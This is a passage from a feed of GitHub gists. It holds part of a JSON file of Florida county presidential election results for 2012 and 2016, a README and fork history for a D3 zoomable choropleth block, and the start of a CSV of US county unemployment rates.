    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;56.6&quot;,
      &quot;repVotes&quot;: &quot;5587&quot;,
      &quot;demPercent&quot;: &quot;42.3&quot;,
      &quot;demVotes&quot;: &quot;4174&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;63&quot;,
      &quot;repVotes&quot;: &quot;6744&quot;,
      &quot;demPercent&quot;: &quot;35&quot;,
      &quot;demVotes&quot;: &quot;3761&quot;
    },
    &quot;repDiffPercent&quot;: -6.399999999999999,
    &quot;repDiffVotes&quot;: -1157,
    &quot;demDiffPercent&quot;: 7.299999999999997,
    &quot;demDiffVotes&quot;: 413,
    &quot;election2012DemPercent&quot;: 42.3,
    &quot;election2012DemVotes&quot;: 4174,
    &quot;election2012RepPercent&quot;: 56.6,
    &quot;election2012RepVotes&quot;: 5587
  },
  &quot;12029&quot;: {
    &quot;name&quot;: &quot;Dixie, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;72.8&quot;,
      &quot;repVotes&quot;: &quot;5052&quot;,
      &quot;demPercent&quot;: &quot;25.9&quot;,
      &quot;demVotes&quot;: &quot;1798&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;81&quot;,
      &quot;repVotes&quot;: &quot;5822&quot;,
      &quot;demPercent&quot;: &quot;18&quot;,
      &quot;demVotes&quot;: &quot;1270&quot;
    },
    &quot;repDiffPercent&quot;: -8.200000000000003,
    &quot;repDiffVotes&quot;: -770,
    &quot;demDiffPercent&quot;: 7.899999999999999,
    &quot;demDiffVotes&quot;: 528,
    &quot;election2012DemPercent&quot;: 25.9,
    &quot;election2012DemVotes&quot;: 1798,
    &quot;election2012RepPercent&quot;: 72.8,
    &quot;election2012RepVotes&quot;: 5052
  },
  &quot;12031&quot;: {
    &quot;name&quot;: &quot;Duval, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;51.4&quot;,
      &quot;repVotes&quot;: &quot;211615&quot;,
      &quot;demPercent&quot;: &quot;47.8&quot;,
      &quot;demVotes&quot;: &quot;196737&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;49&quot;,
      &quot;repVotes&quot;: &quot;210061&quot;,
      &quot;demPercent&quot;: &quot;47&quot;,
      &quot;demVotes&quot;: &quot;203627&quot;
    },
    &quot;repDiffPercent&quot;: 2.3999999999999986,
    &quot;repDiffVotes&quot;: 1554,
    &quot;demDiffPercent&quot;: 0.7999999999999972,
    &quot;demDiffVotes&quot;: -6890,
    &quot;election2012DemPercent&quot;: 47.8,
    &quot;election2012DemVotes&quot;: 196737,
    &quot;election2012RepPercent&quot;: 51.4,
    &quot;election2012RepVotes&quot;: 211615
  },
  &quot;12033&quot;: {
    &quot;name&quot;: &quot;Escambia, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;59.7&quot;,
      &quot;repVotes&quot;: &quot;88711&quot;,
      &quot;demPercent&quot;: &quot;39.2&quot;,
      &quot;demVotes&quot;: &quot;58185&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;58&quot;,
      &quot;repVotes&quot;: &quot;88370&quot;,
      &quot;demPercent&quot;: &quot;38&quot;,
      &quot;demVotes&quot;: &quot;57114&quot;
    },
    &quot;repDiffPercent&quot;: 1.7000000000000028,
    &quot;repDiffVotes&quot;: 341,
    &quot;demDiffPercent&quot;: 1.2000000000000028,
    &quot;demDiffVotes&quot;: 1071,
    &quot;election2012DemPercent&quot;: 39.2,
    &quot;election2012DemVotes&quot;: 58185,
    &quot;election2012RepPercent&quot;: 59.7,
    &quot;election2012RepVotes&quot;: 88711
  },
  &quot;12035&quot;: {
    &quot;name&quot;: &quot;Flagler, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;53.3&quot;,
      &quot;repVotes&quot;: &quot;26969&quot;,
      &quot;demPercent&quot;: &quot;45.9&quot;,
      &quot;demVotes&quot;: &quot;23207&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;59&quot;,
      &quot;repVotes&quot;: &quot;33804&quot;,
      &quot;demPercent&quot;: &quot;38&quot;,
      &quot;demVotes&quot;: &quot;21985&quot;
    },
    &quot;repDiffPercent&quot;: -5.700000000000003,
    &quot;repDiffVotes&quot;: -6835,
    &quot;demDiffPercent&quot;: 7.899999999999999,
    &quot;demDiffVotes&quot;: 1222,
    &quot;election2012DemPercent&quot;: 45.9,
    &quot;election2012DemVotes&quot;: 23207,
    &quot;election2012RepPercent&quot;: 53.3,
    &quot;election2012RepVotes&quot;: 26969
  },
  &quot;12037&quot;: {
    &quot;name&quot;: &quot;Franklin, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;65.2&quot;,
      &quot;repVotes&quot;: &quot;3570&quot;,
      &quot;demPercent&quot;: &quot;33.7&quot;,
      &quot;demVotes&quot;: &quot;1845&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;69&quot;,
      &quot;repVotes&quot;: &quot;4119&quot;,
      &quot;demPercent&quot;: &quot;29&quot;,
      &quot;demVotes&quot;: &quot;1738&quot;
    },
    &quot;repDiffPercent&quot;: -3.799999999999997,
    &quot;repDiffVotes&quot;: -549,
    &quot;demDiffPercent&quot;: 4.700000000000003,
    &quot;demDiffVotes&quot;: 107,
    &quot;election2012DemPercent&quot;: 33.7,
    &quot;election2012DemVotes&quot;: 1845,
    &quot;election2012RepPercent&quot;: 65.2,
    &quot;election2012RepVotes&quot;: 3570
  },
  &quot;12039&quot;: {
    &quot;name&quot;: &quot;Gadsden, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;29.5&quot;,
      &quot;repVotes&quot;: &quot;6630&quot;,
      &quot;demPercent&quot;: &quot;70.1&quot;,
      &quot;demVotes&quot;: &quot;15770&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;30&quot;,
      &quot;repVotes&quot;: &quot;6721&quot;,
      &quot;demPercent&quot;: &quot;68&quot;,
      &quot;demVotes&quot;: &quot;14994&quot;
    },
    &quot;repDiffPercent&quot;: -0.5,
    &quot;repDiffVotes&quot;: -91,
    &quot;demDiffPercent&quot;: 2.0999999999999943,
    &quot;demDiffVotes&quot;: 776,
    &quot;election2012DemPercent&quot;: 70.1,
    &quot;election2012DemVotes&quot;: 15770,
    &quot;election2012RepPercent&quot;: 29.5,
    &quot;election2012RepVotes&quot;: 6630
  },
  &quot;12041&quot;: {
    &quot;name&quot;: &quot;Gilchrist, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;74.8&quot;,
      &quot;repVotes&quot;: &quot;5917&quot;,
      &quot;demPercent&quot;: &quot;23.8&quot;,
      &quot;demVotes&quot;: &quot;1885&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;80&quot;,
      &quot;repVotes&quot;: &quot;6740&quot;,
      &quot;demPercent&quot;: &quot;17&quot;,
      &quot;demVotes&quot;: &quot;1457&quot;
    },
    &quot;repDiffPercent&quot;: -5.200000000000003,
    &quot;repDiffVotes&quot;: -823,
    &quot;demDiffPercent&quot;: 6.800000000000001,
    &quot;demDiffVotes&quot;: 428,
    &quot;election2012DemPercent&quot;: 23.8,
    &quot;election2012DemVotes&quot;: 1885,
    &quot;election2012RepPercent&quot;: 74.8,
    &quot;election2012RepVotes&quot;: 5917
  },
  &quot;12043&quot;: {
    &quot;name&quot;: &quot;Glades, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;58.8&quot;,
      &quot;repVotes&quot;: &quot;2344&quot;,
      &quot;demPercent&quot;: &quot;40.2&quot;,
      &quot;demVotes&quot;: &quot;1603&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;69&quot;,
      &quot;repVotes&quot;: &quot;2996&quot;,
      &quot;demPercent&quot;: &quot;29&quot;,
      &quot;demVotes&quot;: &quot;1271&quot;
    },
    &quot;repDiffPercent&quot;: -10.200000000000003,
    &quot;repDiffVotes&quot;: -652,
    &quot;demDiffPercent&quot;: 11.200000000000003,
    &quot;demDiffVotes&quot;: 332,
    &quot;election2012DemPercent&quot;: 40.2,
    &quot;election2012DemVotes&quot;: 1603,
    &quot;election2012RepPercent&quot;: 58.8,
    &quot;election2012RepVotes&quot;: 2344
  },
  &quot;12045&quot;: {
    &quot;name&quot;: &quot;Gulf, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;70.3&quot;,
      &quot;repVotes&quot;: &quot;4995&quot;,
      &quot;demPercent&quot;: &quot;28.3&quot;,
      &quot;demVotes&quot;: &quot;2014&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;73&quot;,
      &quot;repVotes&quot;: &quot;5320&quot;,
      &quot;demPercent&quot;: &quot;24&quot;,
      &quot;demVotes&quot;: &quot;1715&quot;
    },
    &quot;repDiffPercent&quot;: -2.700000000000003,
    &quot;repDiffVotes&quot;: -325,
    &quot;demDiffPercent&quot;: 4.300000000000001,
    &quot;demDiffVotes&quot;: 299,
    &quot;election2012DemPercent&quot;: 28.3,
    &quot;election2012DemVotes&quot;: 2014,
    &quot;election2012RepPercent&quot;: 70.3,
    &quot;election2012RepVotes&quot;: 4995
  },
  &quot;12047&quot;: {
    &quot;name&quot;: &quot;Hamilton, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;58&quot;,
      &quot;repVotes&quot;: &quot;3138&quot;,
      &quot;demPercent&quot;: &quot;41.2&quot;,
      &quot;demVotes&quot;: &quot;2228&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;63&quot;,
      &quot;repVotes&quot;: &quot;3439&quot;,
      &quot;demPercent&quot;: &quot;35&quot;,
      &quot;demVotes&quot;: &quot;1899&quot;
    },
    &quot;repDiffPercent&quot;: -5,
    &quot;repDiffVotes&quot;: -301,
    &quot;demDiffPercent&quot;: 6.200000000000003,
    &quot;demDiffVotes&quot;: 329,
    &quot;election2012DemPercent&quot;: 41.2,
    &quot;election2012DemVotes&quot;: 2228,
    &quot;election2012RepPercent&quot;: 58,
    &quot;election2012RepVotes&quot;: 3138
  },
  &quot;12049&quot;: {
    &quot;name&quot;: &quot;Hardee, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;65&quot;,
      &quot;repVotes&quot;: &quot;4696&quot;,
      &quot;demPercent&quot;: </code></pre><p><em>Truncated — <a href="https://gist.github.com/e2f37a2ce5f3be45b09fbdd427f75ba7">view the full gist</a>.</em></p>
<h3>2012-2016_P_results-bycounty.json</h3>
<h3>2012_P_results-bycounty.csv</h3>
<h3>2016_P_results-bycounty.csv</h3>
<h3>README.md</h3>
<h3>counties.json</h3>
<h3>countiesWithData.geojson</h3>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/d9be09d2820d6772c92188cafbdf8442</link>
      <guid isPermaLink="true">https://gist.github.com/d9be09d2820d6772c92188cafbdf8442</guid>
      <pubDate>Wed, 21 Sep 2016 18:19:17 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:19:17.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>5833</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6762</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a13a390b32f5dc70a62aeb3af5e8e568&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/3dd69f510085138459f3b2702347563f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f644e13737e8a14417ebbd4374e1281b&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/036c2a6819ca5211d6b51efa7cd7f008&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1bfb2602816244f016b7ba9efd791114&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/cf7bedda70b95103bd71b87f159ad269&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/0afcb4f2547112af6d8b6eceeed4118d&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
